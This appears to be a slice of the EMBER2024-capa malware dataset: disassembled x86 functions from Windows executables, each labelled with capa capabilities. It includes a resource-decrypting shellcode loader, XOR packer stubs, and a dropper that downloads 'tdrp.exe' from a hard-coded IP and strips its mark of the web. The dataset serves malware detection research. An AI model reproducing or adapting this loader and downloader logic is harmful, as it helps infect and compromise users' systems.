joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401031
Capabilities:
Hide graphical window

Disassembly:
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x403120], eax
call sub.kernel32.dll_GetCommandLineA
mov dword [0x403124], eax
push 0xa
push dword [0x403124]
push 0
push dword [0x403120]
call 0x401031
push eax
call sub.kernel32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xffffffb0
mov dword [ebp - 0x30], 0x30
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], 0x401138
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
push dword [0x403120]
pop dword [ebp - 0x1c]
mov dword [ebp - 0x10], 6
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], str.RTEOptScreen
push 0x7f00
push 0
call sub.user32.dll_LoadIconA
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], eax
push 0x7f00
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebp - 0x14], eax
push 0x3f
call sub.user32.dll_GetSystemMetrics
cmp eax, 3
jne 0x4010b8
push 0x400000
push 0
add eax, 0x1d
and eax, eax
jne 0x4010ac
call fcn.00401371
lea eax, [ebp - 0x30]
push eax
call sub.user32.dll_RegisterClassExA
push 0
push dword [ebp + 8]
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.MyApp
push str.RTEOptScreen
push 0
call sub.user32.dll_CreateWindowExA
mov dword [ebp - 0x50], eax
push dword [ebp + 0x14]
push dword [ebp - 0x50]
call sub.user32.dll_ShowWindow
push dword [ebp - 0x50]
call sub.user32.dll_UpdateWindow
push 0
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_GetMessageA
or eax, eax
je 0x401131
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_TranslateMessage
lea eax, [ebp - 0x4c]
push eax
call sub.user32.dll_DispatchMessageA
jmp 0x40110a
mov eax, dword [ebp - 0x44]
leave
ret 0x10
Function at 0x401165
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pushal
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, str.GetLastError
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x40300c
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x4030fe
sub eax, 0x2000
add eax, dword [ebp + 0x10]
call dword [eax]
push eax
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x403010
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x40300c
sub eax, 0x2000
add eax, dword [ebp + 0x10]
push dword [eax]
mov eax, dword [ebp + 0x14]
add eax, dword [eax + 0x3c]
add eax, 0x14
add eax, 4
mov eax, dword [eax + 0x18]
add eax, 0x4030fe
sub eax, 0x2000
add eax, dword [ebp + 0x10]
call dword [eax]
pop eax
call eax
or eax, eax
jne 0x401226
push eax
jmp 0x401234
cmp eax, 0x7f
jne 0x401232
push 0x100
jmp 0x401234
push 1
mov esi, dword [ebp + 8]
mov ebx, 0xa
mov ecx, dword [ebp + 0xc]
shr ecx, 2
xor edx, edx
mov eax, dword [ebp + 0xc]
shr eax, 2
sub eax, ecx
push eax
div ebx
add edx, 2
sub dword [esi], edx
xor edx, edx
pop eax
div ebx
add edx, dword [esp]
push edx
add dword [esp], 0x259d23e6
pop edx
xor dword [esi], edx
add esi, 4
loop 0x401242
pop eax
popal
leave
ret 0x10
Function at 0x401371
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x8c]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401390
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x401384
add esi, 0x10000
push esi
mov eax, 0x40300c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012d9
mov dword [0x4030fe], eax
push 0x403010
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4013d4
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4013e5
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4013f9
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x401407
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x401423
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.00401165
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401476
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4014ec
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b88
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x4012a4
push dword [ebp + 0xc]
call fcn.00401272
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x401757
add eax, dword [ebp + 8]
call eax
leave
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x127e0509
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x67de7221
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401200
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov ecx, dword [ebp + 8]
push ebx
xor al, al
push esi
push edi
mov byte [esp + 0x13], al
test ecx, ecx
je 0x40131b
cmp dword [ecx], 0x756470
jne 0x40131b
cmp dword [ebp + 0xc], 0
je 0x40131b
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x40131b
lea edi, [esi + 4]
push edi
call fcn.0040aa20
mov ebx, eax
mov eax, dword [ebp + 0xc]
push esi
push eax
lea ecx, [ebx + 4]
push ecx
mov dword [esp + 0x24], ebx
mov dword [ebx], esi
call sub.ntdll.dll_memcpy
xor eax, eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov dword [esp + 0x32], eax
mov word [esp + 0x36], ax
mov eax, dword [ebp + 0x18]
add esp, 0x10
mov edx, 2
push eax
mov word [esp + 0x1c], dx
call dword [sym.imp.WS2_32.dll_htons]
mov ecx, dword [ebp + 0x14]
mov word [esp + 0x1a], ax
mov dword [esp + 0x1c], ecx
test edi, edi
je 0x4012f1
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push 0x10
lea edx, [esp + 0x1c]
push edx
push 0
push edi
push ebx
push ecx
call dword [sym.imp.WS2_32.dll_sendto]
mov esi, eax
cmp esi, 0xffffffff
je 0x4012e9
mov edx, dword [ebp + 8]
push esi
add edx, 0x1c
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub edi, esi
add ebx, esi
test edi, edi
jne 0x401297
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.0040ac30
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x40130a
mov ebx, dword [esp + 0x14]
push ebx
mov byte [esp + 0x17], 1
call fcn.0040ac30
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [esp + 0x14]
push ebx
call fcn.0040ac30
mov al, byte [esp + 0x17]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4013b0
Capabilities:
Create tcp socket
Create thread
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0x24
call fcn.0040a810
add esp, 4
push 0
push 0
mov esi, eax
push 1
push 0
mov dword [esi], 0x756470
mov dword [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x11
push 2
push 2
mov dword [esi + 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x4013fd
push esi
call fcn.00401330
add esp, 4
xor esi, esi
test esi, esi
je 0x401462
xor eax, eax
mov dword [esp + 6], eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov word [esp + 0x12], ax
mov eax, 2
push 0x10
lea ecx, [esp + 8]
mov word [esp + 8], ax
mov edx, dword [esi + 8]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401444
push esi
call fcn.00401330
add esp, 4
xor eax, eax
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 0x18]
push 0
push 0
push esi
push 0x401100
push 0
push 0
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
add esp, 0x10
ret
Function at 0x401470
Capabilities:
Create tcp socket
Create thread
Create udp socket
Set socket configuration

Disassembly:
sub esp, 0x10
push edi
mov edi, dword [esp + 0x1c]
xor eax, eax
test di, di
je 0x401576
push ebx
mov ebx, dword [esp + 0x24]
test ebx, ebx
je 0x401575
push esi
push 0x24
call fcn.0040a810
add esp, 4
push 0
push 0
mov esi, eax
push 1
push 0
mov dword [esi], 0x756470
mov dword [esi + 4], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0x11
push 2
push 2
mov dword [esi + 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 8], eax
cmp eax, 0xffffffff
jne 0x4014da
push esi
call fcn.00401330
add esp, 4
xor esi, esi
test esi, esi
je 0x401572
xor eax, eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov dword [esp + 0x16], eax
mov word [esp + 0x1a], ax
mov eax, dword [esp + 0x20]
mov ecx, 2
push edi
mov dword [esp + 0x14], eax
mov word [esp + 0x10], cx
call dword [sym.imp.WS2_32.dll_htons]
push 1
lea edx, [esp + 0x28]
push edx
push 4
mov word [esp + 0x1a], ax
mov byte [esp + 0x30], 1
mov eax, dword [esi + 8]
push 0xffff
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
mov edx, dword [esi + 8]
push 0x10
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401558
push esi
call fcn.00401330
add esp, 4
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x10
ret
push 0
push 0
push esi
push 0x401100
push 0
push 0
mov dword [esi + 0xc], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x14], eax
mov eax, esi
pop esi
pop ebx
pop edi
add esp, 0x10
ret

Function at 0x401ae0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSASend]
push ebp
mov ebp, dword [esp + 0xc]
mov ecx, dword [ebp + 0x260]
push edi
push 0
push esi
push 0
lea eax, [esp + 0x1c]
push eax
push 1
lea edi, [esi + 0x1c]
push edi
push ecx
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
je 0x401b50
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x3e5
je 0x401b50
cmp eax, 0x2733
jne 0x401b56
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0x260]
push 0
push esi
push 0
lea edx, [esp + 0x1c]
push edx
push 1
push edi
push eax
mov dword [esp + 0x2c], 0
call ebx
test eax, eax
jne 0x401b12
pop edi
pop ebp
mov al, 1
pop ebx
ret
pop edi
pop ebp
xor al, al
pop ebx
ret
Function at 0x401d60
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x1c
cmp dword [esp + 0x20], 0
push esi
push edi
mov esi, eax
mov edi, ecx
jne 0x401ef2
test ebx, ebx
je 0x401ef2
call fcn.0040df20
push eax
lea eax, [edi + 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x18]
sub eax, 0
je 0x401e4e
sub eax, 1
jne 0x401f49
cmp byte [edi + 0x275], al
je 0x401dbc
add edi, 0x21c
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
lea ecx, [edi + 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov edx, dword [edi + 0x27c]
push ebx
add edx, 0x44
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov eax, dword [edi + 0x264]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], ecx
mov ecx, dword [edi + 0x27c]
lea eax, [esp + 8]
lea edx, [edi + 8]
push eax
mov dword [esp + 0x20], edx
push ecx
mov ecx, 3
mov edx, edi
mov dword [esp + 0x28], ebx
call fcn.00401740
add esp, 8
mov eax, edi
call fcn.00401cf0
test al, al
jne 0x401f49
mov byte [edi + 0x275], 1
pop edi
pop esi
add esp, 0x1c
ret
cmp byte [edi + 0x275], 0
je 0x401e67
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
pop edi
pop esi
add esp, 0x1c
ret
add dword [esi + 0x28], ebx
mov eax, dword [esi + 0x28]
cmp eax, dword [esi + 0x24]
jae 0x401e87
add dword [esi + 0x20], ebx
sub dword [esi + 0x1c], ebx
push edi
call fcn.00401ae0
add esp, 4
pop edi
pop esi
add esp, 0x1c
ret
lea edx, [esi + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ecx, dword [edi + 0x268]
mov edx, dword [edi + 0x26c]
mov eax, dword [edi + 0x264]
mov dword [esp + 0xc], ecx
mov ecx, dword [edi + 0x278]
mov dword [esp + 0x10], edx
mov edx, dword [esi + 0x30]
mov dword [esp + 0x18], ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x270]
mov dword [esp + 0x1c], edx
mov edx, dword [edi + 0x27c]
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x28]
push edx
mov ecx, 2
mov edx, edi
mov dword [esp + 0x28], eax
call fcn.00401740
add esp, 8
pop edi
pop esi
add esp, 0x1c
ret
add esi, 0x14
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 4
lea edx, [esp + 0x2c]
push edx
mov eax, 1
push 0x80
mov word [esp + 0x34], ax
mov eax, dword [edi + 0x260]
push 0xffff
xor ecx, ecx
push eax
mov byte [edi + 0x275], 1
mov word [esp + 0x3e], cx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [edi + 0x260]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi + 0x260], 0xffffffff
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x402020
Capabilities:
Create tcp socket
Create udp socket
Get system information on windows
Set socket configuration

Disassembly:
sub esp, 0x38
push esi
push 0x4c
call fcn.0040a810
mov esi, eax
add esp, 4
test esi, esi
je 0x4021aa
lea eax, [esp + 0x18]
push eax
mov dword [esi], 0x494f4350
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [esp + 0x2c]
lea eax, [esi + 0x20]
lea edx, [ecx + ecx]
push eax
mov dword [esi + 4], edx
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x10], eax
test eax, eax
je 0x40219f
push 0
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [esi + 8], eax
test eax, eax
je 0x40219f
call fcn.0040dbb0
mov dword [esi + 0xc], eax
test eax, eax
je 0x40219f
push 1
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
je 0x40219f
push 1
lea ecx, [esp + 0xb]
push ecx
push 4
push 0xffff
push eax
mov byte [esp + 0x1b], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esp + 0x44]
xor eax, eax
mov dword [esp + 0xa], eax
mov dword [esp + 0xe], eax
mov dword [esp + 0x12], eax
mov word [esp + 0x16], ax
mov eax, dword [esp + 0x40]
mov edx, 2
push ecx
mov word [esp + 0xc], dx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi + 0x14]
push edx
push eax
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x40219f
mov ecx, dword [esi + 0x14]
push accept
push ecx
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
je 0x40219f
call dword [sym.imp.WS2_32.dll_WSACreateEvent]
mov dword [esi + 0x18], eax
test eax, eax
je 0x40219f
mov edx, dword [esi + 0x14]
push 8
push eax
push edx
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
je 0x40219f
push edi
xor edi, edi
cmp dword [esi + 4], edi
jbe 0x40217f
mov eax, dword [esi + 0xc]
push 0
push 0
push esi
push 0x401f50
push 0
push eax
call fcn.0040dbe0
inc edi
add esp, 0x18
cmp edi, dword [esi + 4]
jb 0x402161
mov ecx, dword [esi + 0xc]
push 0
push 0
push esi
push 0x401920
push 0
push ecx
call fcn.0040dbe0
add esp, 0x18
pop edi
mov eax, esi
pop esi
add esp, 0x38
ret
push esi
call fcn.00401600
add esp, 4
xor eax, eax
pop esi
add esp, 0x38
ret
Function at 0x405c70
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push 0x416c70
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0
push 0
push 3
push 0
push 0
push accept
push 0x4170b0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x405d95
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405d8b
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405d81
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x10], 0
je 0x405d77
cmp dword [ebp - 0x10], 0x100
jae 0x405d0e
jmp 0x405d77
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040d2a0
add esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x405d25
jmp 0x405d77
mov edx, dword [ebp - 0x10]
sub edx, 0x100
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0xc]
jae 0x405d4a
mov edx, dword [ebp - 0x18]
push edx
call fcn.0040ac30
add esp, 4
jmp 0x405d77
push 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax + 0xc]
add ecx, 0x100
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.00405da0
add esp, 0x10
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0xc]
mov dword [ebp - 0x10], edx
jmp 0x405cfd
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x4063d0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x406445
cmp dword [ebp - 0x41c], 3
jbe 0x40640c
cmp dword [ebp - 0x41c], 6
je 0x40640c
jmp 0x406445
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x406445
push 4
push str.___
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x406445
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x406450
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], reloc.WS2_32.dll_bind
mov dword [ebp - 4], reloc.WS2_32.dll_accept
mov dword [ebp - 0x14], 0
jmp 0x406486
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x4064f6
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4064f4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4064ea
cmp dword [ebp - 0x1c], 0
je 0x4064ea
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40647d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x406510
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.msvcrt.dll_srand
add esp, 4
mov byte [ebp - 0x20d], 0
push 0x104
lea eax, [ebp - 0x420]
push eax
push 0x411114
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x420]
push edx
push 0x411124
push 0x416c90
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push 0x411150
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 0
je 0x4066b0
push 0
push 0
push 0
push 0
push str.http:__185.215.113.66_tdrp.exe
mov eax, dword [ebp - 0x534]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x4066a3
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x416c90
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
je 0x406696
lea ecx, [ebp - 0x530]
push ecx
push 0x103
lea edx, [ebp - 0x528]
push edx
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40665b
cmp dword [ebp - 0x530], 0
je 0x40665b
push 0
lea ecx, [ebp - 0x52c]
push ecx
mov edx, dword [ebp - 0x530]
push edx
lea eax, [ebp - 0x528]
push eax
mov ecx, dword [ebp - 0x214]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x406608
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x416c90
push 0x411270
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 0x20d], 1
mov edx, dword [ebp - 0x214]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x534]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov al, byte [ebp - 0x20d]
mov esp, ebp
pop ebp
ret